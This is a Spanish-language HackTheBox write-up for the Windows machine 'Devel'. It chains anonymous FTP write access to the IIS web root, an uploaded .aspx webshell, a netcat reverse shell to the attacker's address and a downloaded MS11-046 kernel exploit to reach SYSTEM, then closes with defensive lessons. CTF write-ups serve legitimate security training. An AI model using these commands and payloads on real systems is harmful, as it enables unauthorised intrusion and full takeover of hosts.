the_open_door
café
ESEN

Devel

HackTheBoxFácilWindows10.10.10.5

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#anonymous-ftp#iis#file-upload-rce#aspx-webshell#windows-kernel-exploit#ms11-046
TL;DR. El FTP permite login anónimo y, además, escribe sobre el mismo directorio que sirve el IIS. Subiendo por FTP una webshell .aspx y pidiéndola por HTTP se consigue ejecución de comandos como el usuario del pool de IIS, y de ahí una reverse shell. El sistema es un Windows 7 build 7600 sin parchear: el exploit de kernel MS11-046 eleva directamente a NT AUTHORITY\SYSTEM.

Reconocimiento

Escaneo inicial

ping -c 1 10.10.10.5

ping a 10.10.10.5 devolviendo ttl=127

64 bytes from 10.10.10.5: icmp_seq=1 ttl=127 time=105 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.5

escaneo TCP completo: solo los puertos 21 y 80 abiertos, con syn-ack ttl 127

Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 127
80/tcp open  http    syn-ack ttl 127

Solo dos puertos abiertos, pero su combinación es exactamente el patrón clásico de esta máquina: FTP y un servidor web. El ttl 127 de la columna REASON repite lo que ya decía el ping, ahora sobre paquetes TCP.

extractPorts, una función del .zshrc, resume el fichero -oG y deja los puertos en el portapapeles para el escaneo dirigido:

extractPorts scan

extractPorts resume el escaneo de Devel: IP 10.10.10.5 y puertos abiertos 21,80, copiados al portapapeles

Extracting information ...
IP Address: 10.10.10.5
Open ports: 21,80

Ports copied to clipboard
nmap -p21,80 -sCV 10.10.10.5

nmap -sCV mostrando ftp-anon permitido y el listado con iisstart.htm y welcome.png

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods:
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

El detalle decisivo lo da el propio nmap, y no hace falta ni conectarse: el FTP anónimo está permitido (FTP code 230) y el script ftp-anon aprovecha para listar la raíz. Ese listado muestra iisstart.htm y welcome.png, los ficheros por defecto de un IIS recién instalado, y un directorio aspnet_client. Es decir, el FTP no apunta a una carpeta cualquiera: apunta a la raíz web del IIS.

Esa coincidencia entre dos servicios distintos es la caja entera. Todo lo demás es confirmarla y explotarla.

TCP 80 - IIS 7.5

whatweb 10.10.10.5

whatweb identificando Microsoft-IIS 7.5 y la cabecera X-Powered-By ASP.NET

http://10.10.10.5 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/7.5],
IP[10.10.10.5], Microsoft-IIS[7.5][Under Construction], Title[IIS7], X-Powered-By[ASP.NET]

Dos datos que importan más de lo que parece. Microsoft-IIS[7.5][Under Construction] confirma que la web es la plantilla por defecto, sin aplicación desplegada. Y X-Powered-By[ASP.NET] dice que el servidor tiene el runtime de ASP.NET activo, no que solo sirva ficheros estáticos. Guardemos ese dato: es la diferencia entre subir un fichero que se descarga y subir uno que se ejecuta.

Wappalyzer llega a lo mismo desde el navegador:

Wappalyzer detectando Microsoft ASP.NET, IIS 7.5 y Windows Server sobre la página por defecto de IIS7

Web frameworks:  Microsoft ASP.NET
Web servers:     IIS 7.5
Operating systems: Windows Server

El código fuente de la portada no esconde nada:

view-source de la portada: solo la imagen welcome.png dentro de un div

<title>IIS7</title>
...
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&amp;clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>
</div>

Treinta y dos líneas, un div y una imagen. Ni comentarios, ni rutas ocultas, ni scripts. Y esa imagen es welcome.png, el mismo fichero que aparecía en el listado del FTP.

El fuzzing web no lleva a ninguna parte

Por rigor, un escaneo de rutas con dos herramientas y dos diccionarios distintos:

dirsearch -u http://10.10.10.5/ --exclude-status=403,404

dirsearch encontrando únicamente /aspnet_client y un WebResource.axd con error 500

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Wordlist size: 11460

[20:33:23] 301 -  155B  - /aspnet_client  ->  http://10.10.10.5/aspnet_client/
[20:34:09] 500 -    3KB - /WebResource.axd?d=LER8t9aS
gobuster dir -u http://10.10.10.5 -w directory-list-2.3-medium.txt -t 300 -b 404 -x html,png

gobuster recorriendo 661.695 peticiones y devolviendo solo welcome.png

/welcome.png          (Status: 200) [Size: 184946]
/Welcome.png          (Status: 200) [Size: 184946]
Progress: 661692 / 661695 (100.00%)

661.695 peticiones para redescubrir la imagen que ya se veía en la portada. Este callejón sin salida merece contarse porque enseña dónde estaba de verdad la información: el aspnet_client de dirsearch ya salía en el listado del FTP, y el welcome.png de gobuster también. El diccionario más útil de esta máquina lo sirvió el propio FTP anónimo, gratis y completo, mientras que el fuzzing web tardó minutos en no aportar nada. Cuando un servicio te entrega un listado de directorio real, ese listado gana a cualquier wordlist.

TCP 21 - FTP anónimo

Conectamos a mano para confirmar lo que dijo nmap:

ftp 10.10.10.5     # usuario: anonymous, contraseña vacía
dir

sesión FTP anónima aceptada, con el listado de la raíz web

220 Microsoft FTP Service
Name (10.10.10.5:krmena): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.

Descargamos welcome.png para comprobar que es exactamente la imagen que sirve la web. Es un fichero binario, así que antes hay que poner la sesión en modo binary: en modo ASCII (el de por defecto) el cliente traduce los saltos de línea y corrompe cualquier fichero que no sea texto.

binary
get welcome.png
display welcome.png

welcome.png descargada por FTP y abierta con display: es la misma imagen de IIS7 que muestra la web

ftp> binary
200 Type set to I.
ftp> get welcome.png
226 Transfer complete.
184946 bytes received in 00:01 (97.59 KiB/s)

Misma imagen, mismo tamaño (184946 bytes, el que reportaba gobuster para /welcome.png). El FTP y el IIS están viendo el mismo directorio: C:\inetpub\wwwroot.

Shell como IIS APPPOOL

Confirmar la escritura con un fichero inocuo

Leer no es escribir. Antes de subir nada peligroso, la hipótesis se valida con un fichero de texto que no haga nada:

echo "Fichero de ejemplo" > test.txt
ftp 10.10.10.5
put test.txt

subida de test.txt por FTP anónimo, 20 bytes transferidos

ftp> put test.txt
local: test.txt remote: test.txt
226 Transfer complete.
20 bytes sent in 00:00 (0.06 KiB/s)

El FTP anónimo no es de solo lectura: acepta STOR. Y el IIS lo sirve al instante:

el navegador muestra el contenido de test.txt servido por el IIS en http://10.10.10.5/test.txt

http://10.10.10.5/test.txt
Fichero de ejemplo

Lo que escribimos por FTP, el IIS lo sirve por web. Con el X-Powered-By: ASP.NET de antes, la consecuencia es inmediata: si en vez de un .txt subimos algo que el IIS interprete, tenemos ejecución de código. Este paso cuesta diez segundos y separa "creo que comparten directorio" de "sé que comparten directorio y que puedo escribir en él".

Subir una webshell .aspx

Kali trae webshells preparadas para casi cualquier tecnología. Localizamos una de ASP.NET y la subimos:

locate .aspx
cp /home/krmena/SecLists/Web-Shells/FuzzDB/cmd.aspx .
ftp 10.10.10.5
put cmd.aspx

la webshell cmd.aspx subida por FTP y ejecutando whoami desde el navegador

ftp> put cmd.aspx
226 Transfer complete.
1442 bytes sent in 00:00 (4.85 KiB/s)
http://10.10.10.5/cmd.aspx
Command: whoami
iis apppool\web

whoami devuelve iis apppool\web: ejecución de comandos en el contexto del pool de aplicaciones del IIS. Es una cuenta de servicio con privilegios mínimos, deliberadamente aislada, pero es un punto de apoyo dentro del sistema.

Localizar la ruta absoluta

Para el siguiente paso necesitamos saber dónde aterrizan los ficheros en el disco de la víctima, no solo su URL. La ruta por defecto del IIS es C:\inetpub\wwwroot, y la propia webshell lo confirma:

Command: dir C:\inetpub\wwwroot

la webshell lista C:\inetpub\wwwroot y muestra cmd.aspx, nc.exe, test.txt, iisstart.htm y welcome.png

 Directory of C:\inetpub\wwwroot

07/09/2025  10:29    <DIR>          .
18/03/2017  02:06    <DIR>          aspnet_client
07/09/2025  10:00             1.442 cmd.aspx
17/03/2017  05:37               689 iisstart.htm
07/09/2025  10:29            28.306 nc.exe
07/09/2025  09:46                20 test.txt
17/03/2017  05:37           184.946 welcome.png

Todo lo que subimos por FTP está ahí: test.txt (20 bytes), cmd.aspx (1.442) y, junto a ellos, los ficheros originales de 2017. Ya podemos referirnos a nuestros binarios por ruta absoluta.

De RCE a reverse shell

El formulario de la webshell ejecuta un comando y devuelve su salida, pero no es una consola: no hay estado entre peticiones, ni cd, ni interactividad. Subimos netcat para Windows, que Kali ya trae:

find / -name nc.exe 2>/dev/null
cp /home/krmena/SecLists/Web-Shells/FuzzDB/nc.exe .
ftp 10.10.10.5
binary
put nc.exe

nc.exe localizado en Kali y subido por FTP en modo binario, 28160 bytes

/home/krmena/SecLists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe

ftp> binary
200 Type set to I.
ftp> put nc.exe
226 Transfer complete.
28160 bytes sent in 00:00 (50.06 KiB/s)

El binary vuelve a ser obligatorio, y aquí de forma crítica: un ejecutable subido en modo ASCII llega corrupto y falla sin explicación. Ahora lo lanzamos desde la webshell contra nuestro listener:

sudo rlwrap nc -nlvp 443
C:\inetpub\wwwroot\nc.exe -e cmd 10.10.16.4 443

reverse shell recibida desde 10.10.10.5 con la versión de Windows 6.1.7600

listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.5] 49174
Microsoft Windows [Version 6.1.7600]
c:\windows\system32\inetsrv>whoami
iis apppool\web

Consola interactiva como iis apppool\web. Y en la primera línea, regalada, la versión de Windows: 6.1.7600. Ese número decide toda la escalada.

Automatizar la cadena

Toda la secuencia (subir cmd.aspx y nc.exe por FTP, disparar la petición HTTP y esperar la conexión) es mecánica, así que se deja escrita. La versión en Python usa ftplib para las subidas y requests para el POST, extrayendo antes con una expresión regular los campos __VIEWSTATE y __EVENTVALIDATION que ASP.NET exige en cada formulario:

python3 autopwn.py

autopwn.py subiendo los ficheros y devolviendo la shell como iis apppool\web

[+] Trying to bind to :: on port 443: Done
[+] Waiting for connections on :::443: Got connection from ::ffff:10.10.10.5 on port 49182
[*] Switching to interactive mode
Microsoft Windows [Version 6.1.7600]
c:\windows\system32\inetsrv>whoami
iis apppool\web

La variante en Bash hace lo mismo con curl -T y un --data con los tokens ya codificados, y acepta los parámetros por línea de comandos:

./autopwn.sh anonymous 10.10.10.5 10.10.16.4 443

autopwn.sh subiendo cmd.aspx y nc.exe mientras el listener recibe la shell

[*] Subiendo cmd.aspx...
[*] Subiendo nc.exe...

connect to [10.10.16.4] from (UNKNOWN) [10.10.10.5] 49165
c:\windows\system32\inetsrv>whoami
iis apppool\web

La versión en Bash es más frágil (los tokens de ASP.NET van fijos en el --data, así que caducan), pero sirve para ilustrar que ninguno de los dos scripts hace nada que no hayamos hecho ya a mano.

Shell como SYSTEM

Un Windows 7 sin parchear

El usuario del pool tiene privilegios mínimos, así que toca enumerar el sistema. systeminfo deja la respuesta a la vista:

systeminfo

systeminfo en Devel: Windows 7 Enterprise 6.1.7600 Build 7600, con Hotfix(s) N/A

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise
OS Version:                6.1.7600 N/A Build 7600
OS Configuration:          Standalone Workstation
Registered Owner:          babis
Original Install Date:     17/3/2017, 4:17:31
System Type:               X86-based PC
Domain:                    HTB
Hotfix(s):                 N/A

6.1.7600 Build 7600 es la release original de Windows 7, sin Service Pack. Y Hotfix(s): N/A lo remata: ni un parche instalado desde 2017. Un sistema así es terreno fértil para los exploits de kernel, que dependen exactamente de eso, de una versión concreta sin corregir.

De paso, Registered Owner: babis y System Type: X86-based PC son dos apuntes útiles: el primero da el nombre del usuario cuyo escritorio guardará la flag, y el segundo obliga a elegir un binario de 32 bits para el exploit.

MS11-046: escalada por kernel

Que la versión sea vulnerable no hay que intuirlo: la propia cadena del systeminfo es la consulta. Con 6.1.7600 N/A Build 7600 privilege scalation (con la errata y todo, el buscador la corrige solo), el primer resultado ya es la ficha de Exploit-DB del fallo:

la búsqueda de la versión exacta devuelve como primer resultado la entrada de Exploit-DB afd.sys Local Privilege Escalation, con MS11-046 resaltado

Exploit DB - https://www.exploit-db.com/ex...
'afd.sys' Local Privilege Escalation (MS11-046)
18 oct 2016 - Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046).
CVE-2011-1249 CVE-MS11-046 . local exploit for Windows_x86 ...

Exploit-DB da el código fuente en C, pero compilar un exploit de kernel de 2011 en un Kali moderno es una pelea aparte. Lo práctico es buscar el binario ya compilado, y el repositorio de referencia para esto es la colección de windows-kernel-exploits:

la búsqueda MS11-046 exploit github gitmaninc lleva al repositorio yifengyou/windows-kernel-exploits

GitHub - https://github.com/yifengyou ...
yifengyou/windows-kernel-exploits
Contribute to yifengyou/windows-kernel-exploits development by creating an account on GitHub.

El repositorio es un directorio por boletín de Microsoft, y el de MS11-046 trae el fuente, el .exe compilado y hasta la captura de la prueba en un Windows 7:

el directorio MS11-046 del repositorio con CVE-2011-1249.c, MS11_46_k8.exe, README.md, ms11-046.exe resaltado y win7.png

windows-kernel-exploits / MS11-046 /
  CVE-2011-1249.c
  MS11_46_k8.exe
  README.md
  ms11-046.exe
  win7.png

De ahí sale el ms11-046.exe de la descarga siguiente. Merece la pena entender qué es lo que se está ejecutando: MS11-046 es una vulnerabilidad en el Ancillary Function Driver (afd.sys), el controlador que da soporte a los sockets de Winsock. Un proceso sin privilegios puede provocar en él una escritura fuera de rango y acabar ejecutando código en el kernel, es decir, como SYSTEM. Es un exploit de kernel con binario precompilado público.

Lo descargamos y montamos un recurso SMB para pasárselo a la víctima. Es más cómodo que un servidor HTTP porque Windows monta el recurso de forma nativa, sin necesitar certutil ni PowerShell:

wget https://raw.githubusercontent.com/yifengyou/windows-kernel-exploits/master/MS11-046/ms11-046.exe -O ms11-046.exe
smbserver.py smbFolder $(pwd) -smb2support -username kmn9 -password kmn9123

descarga del binario ms11-046.exe y arranque del servidor SMB con impacket

ms11-046.exe   100%[===================>] 110.17K  --.-KB/s  in 0.008s
2025-09-08 01:50:14 (13.4 MB/s) - 'ms11-046.exe' saved [112815/112815]

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed

El -smb2support y las credenciales no son un adorno: Windows 7 se niega a montar recursos SMB anónimos en muchas configuraciones, así que se le da un usuario y contraseña cualesquiera. Desde la reverse shell, montamos y ejecutamos en un directorio con permiso de escritura:

net use \\10.10.16.4\smbFolder /u:kmn9 kmn9123
cd C:\Windows\Temp
mkdir prvesc
cd prvesc
copy \\10.10.16.4\smbFolder\ms11-046.exe
.\ms11-046.exe
whoami

tras ejecutar ms11-046.exe el comando whoami devuelve nt authority\system

C:\Windows\Temp\prvesc>copy \\10.10.16.4\smbFolder\ms11-046.exe
        1 file(s) copied.
C:\Windows\Temp\prvesc>.\ms11-046.exe
C:\Windows\System32>whoami
nt authority\system

El binario abre una consola nueva ya con el token de SYSTEM, y el propio prompt lo delata al saltar a C:\Windows\System32. whoami devuelve nt authority\system, el máximo privilegio local. Con ese contexto no hay ficheros vedados:

lectura de user.txt en el escritorio de babis y de root.txt en el de Administrator

C:\Users\babis\Desktop\user.txt
104b8b925f7b1e01e158a5cb2697deab

C:\Users\Administrator\Desktop\root.txt
9d3798d4d4ad1cb380339efe158edff1

Cadena de ataque

nmap: ftp-anon (código 230) lista iisstart.htm y welcome.png
   │ el listado del FTP == la raíz del IIS (C:\inetpub\wwwroot)
   ▼
put test.txt por FTP  ->  http://10.10.10.5/test.txt   (escritura confirmada)
   │ whatweb: X-Powered-By ASP.NET  ->  el IIS interpreta .aspx
   ▼
put cmd.aspx  ->  webshell  ->  RCE como iis apppool\web
   │ put nc.exe (modo binary) + C:\inetpub\wwwroot\nc.exe -e cmd
   ▼
reverse shell  ->  Microsoft Windows [Version 6.1.7600]
   │ systeminfo: Hotfix(s) N/A
   ▼
exploit de kernel MS11-046 (afd.sys)  ->  NT AUTHORITY\SYSTEM  ->  ambas flags

Lecciones aprendidas

  • El riesgo nace de la combinación, no del servicio aislado. Un FTP anónimo de solo lectura sería ruido, y un IIS con la página por defecto también. Un FTP anónimo con escritura sobre la raíz de un servidor que interpreta .aspx es ejecución de código directa. Lo que hay que auditar es cómo se relacionan los servicios, no cada uno por su cuenta.
  • Un listado de directorio real vale más que cualquier diccionario. gobuster lanzó 661.695 peticiones para encontrar el welcome.png que el ftp-anon de nmap ya había listado en el primer escaneo. Antes de fuzzear a ciegas conviene agotar lo que los servicios entregan por sí solos.
  • Validar la hipótesis con un fichero inocuo. Un test.txt de 20 bytes confirmó escritura y publicación web antes de tocar nada peligroso. Probar primero lo barato ahorra ruido, tiempo y sustos.
  • El modo binary del FTP no es opcional. Subir un .exe o un .png en modo ASCII lo corrompe en silencio, y el fallo posterior no se parece en nada a su causa.
  • Las builds sin parchear son un regalo. 6.1.7600 con Hotfix(s): N/A es la diana perfecta de un exploit de kernel. En un Windows antiguo, systeminfo y la lista de KB son el primer sitio donde mirar, y muchas veces el único que hace falta.
  • Defensa en profundidad. Deshabilitar el login anónimo, separar el directorio FTP de la raíz web, prohibir la ejecución de scripts en carpetas de subida y, sobre todo, parchear, habrían cortado cada eslabón de esta cadena por separado.
Cheatsheet de comandos 18 comandos

Repaso rápido